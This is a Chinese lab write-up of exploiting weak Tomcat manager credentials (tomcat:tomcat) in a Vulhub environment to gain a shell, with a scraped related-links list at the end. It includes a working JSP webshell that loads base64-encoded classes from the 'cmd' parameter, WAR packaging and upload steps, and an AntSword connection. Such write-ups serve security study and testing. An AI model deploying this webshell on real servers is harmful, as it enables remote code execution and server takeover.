当前位置: 首页 > news >正文

【漏洞复现】Apache_Tomcat7+ 弱口令 后台getshell漏洞

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 1.1、漏洞描述
      • 1.2、漏洞等级
      • 1.3、影响版本
      • 1.4、漏洞复现
        • 1、基础环境
        • 2、漏洞扫描
        • 3、漏洞验证

说明内容
漏洞编号
漏洞名称Tomcat7+ 弱口令 && 后台getshell漏洞
漏洞评级高危
影响范围Tomcat 版本:8.0
漏洞描述Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限
tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击
修复方案

1.1、漏洞描述

Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限

Tomcat7+权限分为:

  • manager(后台管理)
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"version="1.0"><role rolename="manager-gui"/><role rolename="manager-script"/><role rolename="manager-jmx"/><role rolename="manager-status"/><role rolename="admin-gui"/><role rolename="admin-script"/><user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /></tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

1.2、漏洞等级

高危

1.3、影响版本

Tomcat 版本:8.0

1.4、漏洞复现

1、基础环境

Path:Vulhub/tomcat/tomcat8


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8080/即可看到

在这里插入图片描述

点击Manager App即可跳到管理登陆页面

在这里插入图片描述

输入用户名密码 tomcat:tomcat,来到管理界面

在这里插入图片描述

2、漏洞扫描
3、漏洞验证

登录到后台后可以通过部署war包进行getshell

找一个a.jsp木马

<%!class U extends ClassLoader {U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}public byte[] base64Decode(String str) throws Exception{try{Class clazz =Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);}catch (Exception e){Class clazz =Class.forName("java.util.Base64");Object decoder =clazz.getMethod("getDecoder").invoke(null);return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);}}
%>
<% String cls =request.getParameter("cmd");if(cls != null){new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 }
%>

打包成war

jar cvf tomcat.war a.jsp

在这里插入图片描述

上传打包的tomcat.war

生成一个tomcat的路径

在这里插入图片描述

在地址栏路径中访问http://192.168.80.141:8080/tomcat/a.jsp

在这里插入图片描述

蚁剑连接,密码cmd

在这里插入图片描述

http://www.lryc.cn/news/221417.html

相关文章:

  • 2023-11-7 OpenAI 45 分钟发布会:演示关于 GPT Store 构建 GPT、零代码创建 AI Agent
  • 嵌入式系统中的FPGA
  • String,StringBulider,StringBuffer的简单说明
  • Python编程题集(第一部分基本语法基础)
  • 手动关闭PS中的TopazStudio2的登录窗口
  • [elastic 8.x]java客户端连接elasticsearch与操作索引与文档
  • 接口测试总结
  • 计算机基础知识44
  • 【StringBuilder和StringBuffer】
  • 用java代码实现security
  • 【Java 进阶篇】Java Session 原理及快速入门
  • MoveFunsDAO 星航计划|从Move入门Web3与深入实践「公益课堂」
  • RabbitMQ常用命令(一)
  • 在教育领域,AI垂直大模型应用场景总结!
  • 基于级联广义积分器(CGI)的谐波信号提取MATLAB仿真
  • Linux--线程-条件控制实现线程的同步
  • flutter开发报错The instance member ‘widget‘ can‘t be accessed in an initializer
  • spring项目详细结构目录
  • Cygwin 和MinGW 的区别与联系
  • WebSocket Day03 : SpringMVC整合WebSocket
  • Electron + VUE3 桌面应用,主进程和渲染进程通信
  • 使用腾讯云轻量服务器安装AList
  • 边缘计算助力低速无人驾驶驶入多场景落地快车道
  • 谷歌推出基于AI的产品图像生成工具;[微软免费课程:12堂课入门生成式AI
  • python学习10
  • 【JAVA学习笔记】59 - JUnit框架使用、本章作业
  • 3D 线激光相机的激光条纹中心提取方法
  • 云尘靶场-Tr0ll-vulhub
  • Cuda cmake支持C++17
  • 【黑马程序员】Git